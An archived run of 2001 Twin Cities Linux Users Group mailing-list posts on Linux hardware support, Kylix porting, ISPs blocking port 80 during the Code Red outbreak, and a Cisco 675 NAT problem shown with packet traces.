<54180709DD3FE145917BB165AFE7EFA00A8476@mspexch2.office.mktw.net> Message-ID: On a related note, anyone know of a good USB cam that is supported by Linux? The list of working cams is here: http://www.qbik.ch/usb/devices/ , but I want to know if anyone has actual experience with any of them and can comment on how well to do/do not work. Thanks! :) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From ben at nerp.net Wed Aug 8 15:00:20 2001 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Bye-bye Covad In-Reply-To: <20010807152840.P22243@real-time.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- haha.. I saw a covad van driving by the U of M today.. I think chewie said something about "didn't those guys go under?" "maybe that's why he's driving so fast" Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Tue, 7 Aug 2001, Bob Tanner wrote: > SANTA CLARA, Calif. (Reuters) - High-speed Internet access provider Covad > Communications Group Inc. COVD.OB said on Tuesday it expects to voluntarily file > for bankruptcy protection by mid-August as part of a plan being negotiated with > bondholders to eliminate its $1.4 billion debt load. > -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBO3GaVctpDhsSpvgtAQHbwQQArUnV92c1knK4vfiiEoPduRvWJWn4cMin 7phy0rUWGk3AuQWjIF4tg3ZPjfTO2VGsPUm9WPzTRGYKwNL7cGEcagUOrBMtGIVw oyEGwpQJX57tH3lDjyvXJY1Rf5W+OIB+37dzJZXv6p0uBBSqFKUhf4bOj6FX4g54 FKgzuCrnlD0= =d5Nm -----END PGP SIGNATURE----- From veldy at veldy.net Wed Aug 8 15:16:56 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Bye-bye Covad References: Message-ID: <014601c12047$1387d380$3028680a@tgt.com> They haven't gone under. They will not probably actually go under for many months. They claim they have enough cash to make it until next June. Tom Veldhouse ----- Original Message ----- From: "Ben Kochie" To: Sent: Wednesday, August 08, 2001 3:00 PM Subject: Re: [TCLUG] Bye-bye Covad > -----BEGIN PGP SIGNED MESSAGE----- > > haha.. I saw a covad van driving by the U of M today.. I think chewie said > something about "didn't those guys go under?" "maybe that's why he's > driving so fast" > > Thank You, > Ben Kochie (ben@nerp.net) > > "Unix is user friendly, Its just picky about its friends." > > On Tue, 7 Aug 2001, Bob Tanner wrote: > > > SANTA CLARA, Calif. (Reuters) - High-speed Internet access provider Covad > > Communications Group Inc. COVD.OB said on Tuesday it expects to voluntarily file > > for bankruptcy protection by mid-August as part of a plan being negotiated with > > bondholders to eliminate its $1.4 billion debt load. > > > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3ia > Charset: noconv > > iQCVAwUBO3GaVctpDhsSpvgtAQHbwQQArUnV92c1knK4vfiiEoPduRvWJWn4cMin > 7phy0rUWGk3AuQWjIF4tg3ZPjfTO2VGsPUm9WPzTRGYKwNL7cGEcagUOrBMtGIVw > oyEGwpQJX57tH3lDjyvXJY1Rf5W+OIB+37dzJZXv6p0uBBSqFKUhf4bOj6FX4g54 > FKgzuCrnlD0= > =d5Nm > -----END PGP SIGNATURE----- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Wed Aug 8 16:38:31 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Sweet! Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net> http://www.eugenesargent.com/case1.htm From chrome at real-time.com Wed Aug 8 16:38:42 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] CBOS 2.4.2 online http://www.mn-linux.org/members/tanner/ In-Reply-To: <20010807213108.5f363731.blayer@qwest.net>; from blayer@qwest.net on Tue, Aug 07, 2001 at 09:31:08PM -0500 References: <20010807213108.5f363731.blayer@qwest.net> Message-ID: <20010808163842.E21563@real-time.com> > 2) Set the WEB port of the Cisco to something other than 80, like 8080 for > instance. might be better to choose a port where a webserver wouldn't normally be expected. like '6789' or the like. some proxies run at 8080; so that's another point that a possible attacker may try. it's not really a great concern, but if it doesn't hurt to be a little more paranoid; there's no reason not to be. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From jethro at freakzilla.com Wed Aug 8 16:44:15 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Sweet! In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net> Message-ID: Hey, On Wed, 8 Aug 2001, Austad, Jay wrote: > http://www.eugenesargent.com/case1.htm *drool* Chrome... This is very much like my idea for a brass/bronze case. -Yaron -- From esper at sherohman.org Wed Aug 8 16:56:23 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Sweet! In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net>; from austad@marketwatch.com on Wed, Aug 08, 2001 at 04:38:31PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net> Message-ID: <20010808165623.E7874@sherohman.org> On Wed, Aug 08, 2001 at 04:38:31PM -0500, Austad, Jay wrote: > http://www.eugenesargent.com/case1.htm Very nice... Now if we could just convince him to sell one for <$1700... -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From jacque at fruitioninc.com Tue Aug 7 15:56:49 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beermeeting August 9th Message-ID: We'll be meeting at Hops in Eden Prairie. I have heard from numerous sources that their beer was better than the WaterTower's. I guess I'll have a first-hand opinion about it in a couple of days. Details here: http://www.mn-linux.org/beermeeting/ Hope to see you there! Jacque _______________________________________________ tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-announce From natecars at real-time.com Wed Aug 8 17:25:48 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:50 2005 Subject: Web Cams and Linux (Was RE: [TCLUG] netmeeting-type software for linux) In-Reply-To: Message-ID: On Wed, 8 Aug 2001, Andy Zbikowski (Zibby) wrote: > On a related note, anyone know of a good USB cam that is supported by > Linux? The list of working cams is here: http://www.qbik.ch/usb/devices/ , > but I want to know if anyone has actual experience with any of them and > can comment on how well to do/do not work. I've got a cheap 'Kensington Videocam' on my desk.. paid $5 for it at CompUSA. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From chrome at real-time.com Wed Aug 8 18:42:47 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Sweet! In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net>; from austad@marketwatch.com on Wed, Aug 08, 2001 at 04:38:31PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD4F@mspexch2.office.mktw.net> Message-ID: <20010808184247.A8542@real-time.com> > http://www.eugenesargent.com/case1.htm WWW WWW WWW OOO WWW WWW WWW wWW WWW WWw oOO OOo wWW WWW WWw ww WWW ww OO OO ww WWW ww Ww WWW wW OO OO Ww WWW wW WWw wWWWw wWW OO OO WWw WWW wWW WWWW WWWW oOO OOo WWWW WWWW WW WW OOO WW WW sorry for the bad ASCII art. didn't want to just have a 'mee too' post. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Wed Aug 8 18:52:57 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Startup Error In-Reply-To: <20010808113818.A10859@minime.sistina.com>; from blutgens@sistina.com on Wed, Aug 08, 2001 at 11:38:18AM -0500 References: <43353280FCFFD211971E00005801192E06322C1A@msgmsp15.norwest.com> <20010808113818.A10859@minime.sistina.com> Message-ID: <20010808185257.B8542@real-time.com> > >When the system boots up it gets to the screen with the Penguin and then > > What exactly is the "Screen with the penguin" he means the login prompt. Mandrake decided to be cutesy, and put a ASCII-art penguin there. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From dieman+tclug at ringworld.org Wed Aug 8 20:08:30 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Source for POS displays? In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8477@mspexch2.office.mktw.net> Message-ID: <20010808200830.N6692@ringworld.org> * Austad, Jay [010808 14:34]: > > Just wondering if anyone's spotted any little POS (as in > > Point of Sale > > ;) VGA displays for sale cheap anywhere. Usually 9" and > > monochrome. I'd > > like one or two to play with. Heh. Dexis had some usually. They had LCD ones last time I saw, though -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From markt at logicworksinc.com Wed Aug 8 20:50:19 2001 From: markt at logicworksinc.com (Mark Theiste) Date: Mon Jan 17 13:25:50 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <20010807090957.D28861@sherohman.org> Message-ID: Dave, > > The Windows version (Delphi) and the Linux version (Kylix) use > different > > libraries. Windows uses VCL (Visual Component Libraries), Linux > uses CLX, > > Windows uses *.dll runtime libraries, Linux uses *.so runtime > libraries. > > These libraries are simply the precoded tools that allow your > program to I think I know what you mean but I would like to clarify your statment. Delphi uses CLX or VCL. Kylix just uses CLX. VCL is the original name for the Delphi class library. CLX is the name of the cross-platform library. The two libraries are identical in many places, and in most others are very similar. Yes, VCL was designed to make use of the Windows API and so for example Delphi "Standard" controls are "Standard" Windows controls, wrapped by the VCL. Many other classes exist however which do NOT depend on Windows although many do. CLX uses QT in the same way VCL uses Windows API. CLX "Standard" controls wrap the QT widget library controls. QT presents interfaces which are similar to VCL and those similarities are one reason Borland chose to build CLX on QT. The reason CLX is cross-platform is because wherever QT goes, CLX goes. QT is currently available on several platforms "including but not limited to Microsoft Windows 95/98/2000, Microsoft Windows NT, MacOS X, Linux, Solaris, HP-UX, Tru64 (Digital UNIX), Irix, FreeBSD, BSD/OS, SCO and AIX". The VCL and CLX are libraries supplied by Borland but just to clarify the VCL is not a .dll. You have the VCL and CLX source which you link and compile into your executables. The source code for VCL and CLX comes with Delphi. Kylix ships with CLX source files. Mark From cfandre at fandre.com Wed Aug 8 20:54:15 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] Fwd: Online Platform Development Using Linux Message-ID: <20010808205413.A18420@fandre.com> Sounds kind of interesting. I wish I had more time for things like this. ----- Forwarded message from April Worden ----- > Date: Wed, 8 Aug 2001 16:35:53 -0700 > To: "'cfandre@maddog.mn-linux.org'" > From: April Worden > Subject: Online Platform Development Using Linux > > Dear Clay, > > Here's some information about a software design contest that may interest > the TCLUG members: > > DevelopOnline, http://www.DevelopOnline.com, a company that enables > developers to build embedded electronic products via the Internet, has > launched a Software Design Contest. > > DevelopOnline provides pre-configured development environments for proven > microprocessor-based platforms. DevelopOnline provides development tools, > including a cross-compilation toolchain when appropriate. The developer, > however, has complete software control over the pre-configured device. All > of it is running Linux. > > What this means is Linux users can access working reference designs, > configure Linux, and execute on a test board all within DevelopOnline's > secure environment. > > The deadline to enter DevelopOnline's Software Design Contest is August 17, > 2001. The winner will receive national recognition, plus $10,000. Fifteen > runners-up receive $1,000 each. > > What is DevelopOnline looking for? Here's a sample of a few of the entries: > * Remote control of computer systems through cell phone/pager > * System power management > * Remote operation of a home security system through the Internet > > If any of your members are interested, they can visit our Web site for more > information: www.DevelopOnline.com . > > > > > ----- End forwarded message ----- From markt at logicworksinc.com Wed Aug 8 20:55:41 2001 From: markt at logicworksinc.com (Mark Theiste) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting In-Reply-To: <01080618175900.00666@192.168.0.7> Message-ID: I think this has already been answered but to reiterate you need Delphi to compile for Windows and Kylix to compile for Linux, although you have source code compatability between the two. Generally speaking if you are using CLX and not making any libc/system calls on Linux or Windows API/system dependent calls on Windows you should be able to have a single source version which can be compiled for either OS without modification. You don't need to distribute CLX ever. CLX is linked and compiled into your executable. Mark > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Brian Carter-Stiglitz > Sent: Monday, August 06, 2001 6:18 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Kylix: Linux-->Windows Porting > > > If i code up a program in kylix, can i compile it using kylix to create a > windows application or do i need to compile it on a windows machine with > delphi? if the prior is possible please let me know how it is > done. Also, > once you get the application working in windows to run it the > computer needs > the CLX libraries-- are these wide spread or would you basically have to > distribute them with the application? > > cheers, > > bc-s > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From chrome at real-time.com Wed Aug 8 21:16:05 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] [fwd][SCALUG] Gnomedex event Message-ID: <20010808211600.A27099@real-time.com> on the chance that anyone's interested... ----- Forwarded message from David Champion ----- Date: Wed, 8 Aug 2001 22:26:58 -0000 From: "David Champion" Subject: [SCALUG] Gnomedex event To: X-Mailer: TWIG 2.6.2 Hey guys... I haven't been keeping up on your list lately, but looks like SCALUG is still going strong. Hope things are going well for you and you're not drinking too much Grain Belt Premium up there. This is a copy of an email I've sent to my LUG here in Des Moines, as well as other Iowa LUG's in Ames, Cedar Falls, and the Quad Cities. I would like to extend this invite to any of you people. I'm not on the TCLUG list, so if any of you want to fwd this to them that would be great. If you've never heard of Gnomedex or Lockergnome... Lockergnome is a big, mostly windows user oriented daily newsletter that goes out to several hundred thousand readers. The founder, Chris Pirillo, is from Des Moines, and just recently moved out to the Bay Area to join the TechTV staff. We're participating in the convention to have a good time and shake up those Windows users, and show them what they're missing. The convention is at the Polk County Convention Center in Des Moines IA (a very nice facility). The sites in quetion here are: http://www.cialug.org http://www.dsmgg.org http://www.gnomedex.com http://www.lockergnome.com Oh... and since I just lurk here occasionally, if you want to reach me, email me directy. Thx. -dc > I've been meeting with the Gnomedex staff about the participation of CIALUG and DSMGG at the convention on 9/14 & 15. This is growing into a pretty big deal. > > DSMGG is going to provide the networking equipment for both themselves and CIALUG. (Bryan Baker and I are members of both groups). > > CIALUG will have a full sized booth for doing demos of various Linux apps. We will also be doing an installfest. > > We would love to see participation from AAFUGIT, CedarLUG, QCLUG and anyone else too. This is going to be a big event, and will be great exposure for Linux and our groups. Did I mention that Microsoft is one of the major sponsors? > > What I need: > > - Need a news blurb on the web site > - We need to reactivate the installfest form, so people coming from the Gnomedex site will be able to fill one out. > - Need VOLUNTEERS! Both demo and installers. > - Need to contact linux vendors (RedHat and such) about the possibility of getting promo materials. > - Need to burn CDR's of the latest distro's. I have 100 CDR's of my own. We will charge $5 per cd (so that would be $10 for both CD's of Mandrake for instance) as a donation to the DSMGG general fund - covers server costs and such. > > Volunteers will get a full free admission to the event, this includes the convention floor, speakers, and an open-bar party Saturday night. You will need to bring your PC if you're doing demos. I will have one PC for linux stuff there, and my laptop, one of those will be for the gaming stuff tho'. You will also be able to participate in the LAN party during your "off" time. I would like to see in the neighborhood of 10 LUG volunteers in addition to Bryan and I... we will probably be tied up with DSMGG stuff for a lot of the time, since we're both server admins. > > Set up will start at 6am on that Friday, the event opens at 9am, and closes at 5pm on Saturday. > > Please email me back at dave@visionary.com, and make the subject "gnomedex installfest" if you plan to participate as a volunteer. > > -- > David Champion > el Presidente, CIALUG _______________________________________________ Linux maillist - Linux@scalug.org http://mailman.cloudnet.com/mailman/listinfo/linux St Cloud Area Linux Users group ... www.scalug.org ----- End forwarded message ----- Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From markbrowne at mn.mediaone.net Wed Aug 8 21:47:22 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] New to linux References: <20010808205413.A18420@fandre.com> Message-ID: <001301c1207d$a0fcafc0$6601a8c0@zippy> I am just getting started with Linux. I have been downloading different ISOs and installing them on the various and sundry machines around my house. At this point - Mandrake has been the simplest install for a stand-alone system. Caldera Has been the best for a Linux dual boot system added to a running Windows box. It is surpassingly difficult to put Linux on a second drive with some packages - they insist on trying to partition my C drive. The BSD package is the only one that would work on some of the older 486 boxes. The problems have been with large( < 1gb) disks on older BIOS chips. Is there a simple way to convince Linux to work with this older hardware? I have yet to get sound to work on any of the installs, even though all of the boxes make noise under Windows. Sigh. The only important thing I am lacking at this point is a program that provides the function of Moray - a graphical front end for Povray. Any suggestions for a good 3-d modeler that works well with Povray? Mark Browne From dieman+tclug at ringworld.org Wed Aug 8 22:10:11 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] New to linux In-Reply-To: <001301c1207d$a0fcafc0$6601a8c0@zippy> Message-ID: <20010808221011.O6692@ringworld.org> * Mark Browne [010808 22:01]: > At this point - Mandrake has been the simplest install for a stand-alone > system. > Caldera Has been the best for a Linux dual boot system added to a running > Windows box. Have you tried out progeny yet? www.progeny.com, ftp.cs.umn.edu/pub/progeny has iso's. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From kblack at isd.net Wed Aug 8 22:12:54 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] USB or parallel port SmartMedia card reader for Linux Message-ID: <3b71ffb6.779a.0@isd.net> Does anybody know of a usb or parallel port SmartMedia card reader that works under Linux? I looked for awhile last night, but could only come up with FlashPath (floppy disk adapter), and even then I had to go to an offshore site to get the driver... The vendor of FlashPath floppy adapters released a press release in 2000 saying they were adding Linux support to the hardware they sell, but when you go to the site, you can't find it (nice!). If anybody has a FlashPath floppy adapter, and needs Linux driver, let me know. Got it to compile under Slack 8.0. It says you shuould be able to load the module, and then mount the floppy, and presto neato, access to SmartMedia flash cards. Well, I seem to be rambling on a bit. 73's de KB0GBJ Kelly From sos at zjod.net Wed Aug 8 23:10:14 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? Message-ID: <200108090410.XAA26748@zjod.net> Folks, I was wondering why my WWW hit monitors suddenly went to zero. Then I checked and found out why: No hits. When I logged into my backup ISP and tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also checked ftp, ssh, and telnet, which all worked. Only http access wasn't going through. So, I've got a favor to ask... Could those of you with AT&T/Mediaone as your ISP who are also running web servers please check your http access logs? When you do, I think you'll find the last outside (non-AT&T) access your web server had was on or about 1am CDT on August 6'th. When I called AT&T to complain about it (after 26 minutes on hold before getting to a level 1 customer service dudette), a level 2 customer service guy told me that AT&T has decided to block all inbound tcp/ip requests on port 80 for any (all?) of their broadband (and dialup?) customers. He claimed it was a temporary measure designed to allow the company to combat the effects of CodeRed and SirCam. (Never mind that SirCam only spreads by email ;-) Gee, it sure woulda been nice to be notified prior to having my ability to serve web pages cut off! If someone could verify that I'm not the only one affected, then I think it's past time I call the Public Utilities Commission to lodge a complaint. -Steve Siegfried From dd-b at dd-b.net Wed Aug 8 23:40:46 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] Cisco 675 configuration help needed Message-ID: And I don't even think this is Code Red II related (or only indirectly; I think this is CBOS 2.4.x related, and I performed that upgrade because of Code Red). I'm in PPP mode (not bridged) and I've got static IPs. I'm using Virtual Ethernet Ports (VIP) along with NAT; the internal ethernet segments are carrying both my static /28 subnet and my private internal class-A (10.* is so much easier to remember than the class c one). Thus my two servers are exposed to the wild net (i.e. their static IPs are routed), but the workstations running on internal addresses are protected behind NAT. Besides, there are more total active addresses inside than I have static IPs. This was working fine under CBOS 2.2.something (the VIP feature appeared in 2.2, and that's why I upgraded to it). It stopped working in one particular area with the CBOS 2.4.[1,2] upgrade (I'm currently running 2.4.2, but was a .1 briefly along the way). A workstation (on an internal IP address) can no longer access the local servers on their public IP address. I know the mechanism of the failure. What's happening is that the packet from 10.0.0.221 (workstation) to 63.224.10.73 is being NATted so that it is now a packet from 63.224.10.78 to 63.224.10.73. This reaches .73 correctly, and .73 responds with a packet from .73 to .78. This reaches the router and nothing then happens. After a few seconds retry attempts begin. Nothing is every accomplished. I *think* the failure to handle the return packet through NAT properly is because of the newly added feature that a VIP can be declared "inside" or "outside" for NAT purposes. Mine are outside (and that's the default) because the whole point is to NOT perform NAT on traffic between my static /28 and the outside Internet. What this means in practice is that we cannot reach the by-name virtual web servers hosted on the inside servers; which means that I and the other people living here can't look at the web pages we're maintaining / developing. For everything else, accessing the servers by their inside IP addresses works fine (ssh, ftp, X, and so forth). This is severely annoying to all of us, so I'm under a fair amount of pressure to find a *fix* for this. (Yes, one workaround that has occurred to me is to see if I can get the by-name virtual hosting to respond at multiple IP addresses; see below where I say I want a solution not a workaround if at all possible, but if I have to fall back on a workaround this might be one of the better ones.) I can't find anybody at Qwest (and I'm a pro-DSL customer) who seems to have the faintest clue about this level of configuration. Heck, the Cisco documentation doesn't say anything about what *uses* one might make of VIP, nor does it give any example configurations. I'd think mine is a common one -- short of a full DMZ, which requires either another router or a different router (i.e. one with separate "inside" and "DMZ" ports), my configuration seems to be the obvious setup for businesses and home offices that want to have a few publically visible servers, and lots of private inside stuff. Anybody got any bright ideas on this? Any Cisco 675 experts? (And just for my curiosity, is there some actual benefit to breaking the previous behavior that I was using? Does it make something else nifty keen possible?) I really want to find a *solution*; I've thought a bit about various workarounds, and some of them might work, but they all make additional pieces of hardware or software mission-critical for this network, so I want to avoid them if at all possible. If I have to give up on looking for a solution, I'll be back to ask for help shooting at workarounds I guess :-(. To be *really* specific, here's some packets: Packet 1: ddb -> nat Network: Ethernet Frame type: 802.3, Frame size: 66 Time: 22h:36m 18.116 000s, Diff. time: 0.000000 Date: Wed Aug 08 2001 IP, 10.0.0.221 -> 63.224.10.73 Source IP: 10.0.0.221 , Destination IP: 63.224.10.73 Version: 04, IP header length: 05 (32 bit words) Service type: 0: Precedence: 0, Delay: Norm, Throug: Norm, Reliab: Norm Total IP length: 48 ID: F3FCh Fragment flags: [10] - don't fragment - last fragment Fragment offset: 0 Time to live: 128 PROTOCOL: [6] TCP Header checksum: B1C5 (GOOD) TCP SYN, [1553] -> [80] Source port: [1553] Destination port: [80] http Sequence number: 82466987, Acknowledgement: 0 TCP header length: 07 (32 bit words), Window: 64240 TCP data length: 0, Checksum: CF32h (GOOD) TCP options: Maximum segment size= 1460. Sequence number + TCP data length: 82466987 HTTP Section: 0 bytes No HTTP data sent with this packet --------------------------------------------------------------- --------------------------------------------------------------- Packet 2: nat -> ns2 Network: Ethernet Frame type: 802.3, Frame size: 66 Time: 22h:36m 18.117 000s, Diff. time: 0.001000 Date: Wed Aug 08 2001 IP, 63.224.10.78 -> 63.224.10.73 Source IP: 63.224.10.78, Destination IP: 63.224.10.73 Version: 04, IP header length: 05 (32 bit words) Service type: 0: Precedence: 0, Delay: Norm, Throug: Norm, Reliab: Norm Total IP length: 48 ID: F3FCh Fragment flags: [10] - don't fragment - last fragment Fragment offset: 0 Time to live: 127 PROTOCOL: [6] TCP Header checksum: 7374 (GOOD) TCP SYN, [10041] -> [80] Source port: [10041] Destination port: [80] http Sequence number: 82466987, Acknowledgement: 0 TCP header length: 07 (32 bit words), Window: 64240 TCP data length: 0, Checksum: 6EB9h (GOOD) TCP options: Maximum segment size= 1460. Sequence number + TCP data length: 82466987 HTTP Section: 0 bytes No HTTP data sent with this packet --------------------------------------------------------------- --------------------------------------------------------------- Packet 3: ns2 -> nat Network: Ethernet Frame type: 802.3, Frame size: 66 Time: 22h:36m 18.123 000s, Diff. time: 0.006000 Date: Wed Aug 08 2001 IP, 63.224.10.73 -> 63.224.10.78 Source IP: 63.224.10.73, Destination IP: 63.224.10.78 Version: 04, IP header length: 05 (32 bit words) Service type: 0: Precedence: 0, Delay: Norm, Throug: Norm, Reliab: Norm Total IP length: 48 ID: 0000h Fragment flags: [10] - don't fragment - last fragment Fragment offset: 0 Time to live: 64 PROTOCOL: [6] TCP Header checksum: A671 (GOOD) TCP SYN ACK, [80] -> [10041] Source port: [80] http Destination port: [10041] Sequence number: 2611854893, Acknowledgement: 82466988 TCP header length: 07 (32 bit words), Window: 5840 TCP data length: 0, Checksum: F8EDh (GOOD) TCP options: Maximum segment size= 1460. Sequence number + TCP data length: 2611854893 HTTP Section: 0 bytes No HTTP data sent with this packet --------------------------------------------------------------- --------------------------------------------------------------- Packet 4: ddb -> nat Network: Ethernet Frame type: 802.3, Frame size: 66 Time: 22h:36m 21.039 000s, Diff. time: 2.916000 Date: Wed Aug 08 2001 IP, 10.0.0.221 -> 63.224.10.73 Source IP: 10.0.0.221 , Destination IP: 63.224.10.73 Version: 04, IP header length: 05 (32 bit words) Service type: 0: Precedence: 0, Delay: Norm, Throug: Norm, Reliab: Norm Total IP length: 48 ID: F4FCh Fragment flags: [10] - don't fragment - last fragment Fragment offset: 0 Time to live: 128 PROTOCOL: [6] TCP Header checksum: B0C5 (GOOD) TCP SYN, [1553] -> [80] Source port: [1553] Destination port: [80] http Sequence number: 82466987, Acknowledgement: 0 TCP header length: 07 (32 bit words), Window: 64240 TCP data length: 0, Checksum: CF32h (GOOD) TCP options: Maximum segment size= 1460. Sequence number + TCP data length: 82466987 HTTP Section: 0 bytes No HTTP data sent with this packet --------------------------------------------------------------- --------------------------------------------------------------- -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From tanner at real-time.com Wed Aug 8 23:45:47 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <200108090410.XAA26748@zjod.net>; from sos@zjod.net on Wed, Aug 08, 2001 at 11:10:14PM -0500 References: <200108090410.XAA26748@zjod.net> Message-ID: <20010808234547.A20971@real-time.com> Quoting Steve Siegfried (sos@zjod.net): > Folks, > > I was wondering why my WWW hit monitors suddenly went to zero. Then I > checked and found out why: No hits. When I logged into my backup ISP and > tried "lynx http://zjod.net", I got, "Unable to contact remote host." I also > checked ftp, ssh, and telnet, which all worked. Only http access wasn't > going through. I do agree with the measures they took. At 7pm CST today, Real Time had to do the same thing, because of the load it was putting on the routers. The packet storm was effecting all services at Real Time. I do -not- agree with how they went about it. They should have given you a heads up on what they are doing. I posted to all Real Time clients saying we needed to take this drastic measure to insure quality of service for everyone. Kind of the few must suffer for the many. So, I disabled port 80 to all client networks. I then logged (and I'm still logging) all the deny attempts. We are getting over 500 CR2 hits every 600 seconds on just 1 network alone. I am now going through the data and punching holes into it to allow traffic to linux/apache servers. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From austad at marketwatch.com Thu Aug 9 00:57:54 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] New to linux Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD54@mspexch2.office.mktw.net> I've used AC3D, it's been around since at least 1995. You can find a whole bunch here: http://www.povray.org/links/3D_Programs/POV-Ray_Modelling_Programs/ Not all are for linux, but many are. Check out Giram too. -----Original Message----- From: Scott Dier [mailto:dieman+tclug@ringworld.org] Sent: Wednesday, August 08, 2001 10:10 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] New to linux * Mark Browne [010808 22:01]: > At this point - Mandrake has been the simplest install for a stand-alone > system. > Caldera Has been the best for a Linux dual boot system added to a running > Windows box. Have you tried out progeny yet? www.progeny.com, ftp.cs.umn.edu/pub/progeny has iso's. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From austad at marketwatch.com Thu Aug 9 01:00:07 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:51 2005 Subject: [TCLUG] USB or parallel port SmartMedia card reader for Linux Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD55@mspexch2.office.mktw.net> Try Sandisk readers. I know their USB readers for CF work well, I have an SDDR-31 and it works perfectly (shows up as a scsi drive). I'm pretty sure they make a smartmedia reader. Anything with the same chip inside it as the SDDR-31 should work fine with the usb-storage module. Don't get a parallel port reader, they are slow. Jay -----Original Message----- From: kblack@isd.net [mailto:kblack@isd.net] Sent: Wednesday, August 08, 2001 10:13 PM To: tclug-list@mn-linux.org Subject: [TCLUG] USB or parallel port SmartMedia card reader for Linux Does anybody know of a usb or parallel port SmartMedia card reader that works under Linux? I looked for awhile last night, but could only come up with FlashPath (floppy disk adapter), and even then I had to go to an offshore site to get the driver... The vendor of FlashPath floppy adapters released a press release in 2000 saying they were adding Linux support to the hardware they sell, but when you go to the site, you can't find it (nice!). If anybody has a FlashPath floppy adapter, and needs Linux driver, let me know. Got it to compile under Slack 8.0. It says you shuould be able to load the module, and then mount the floppy, and presto neato, access to SmartMedia flash cards. Well, I seem to be rambling on a bit. 73's 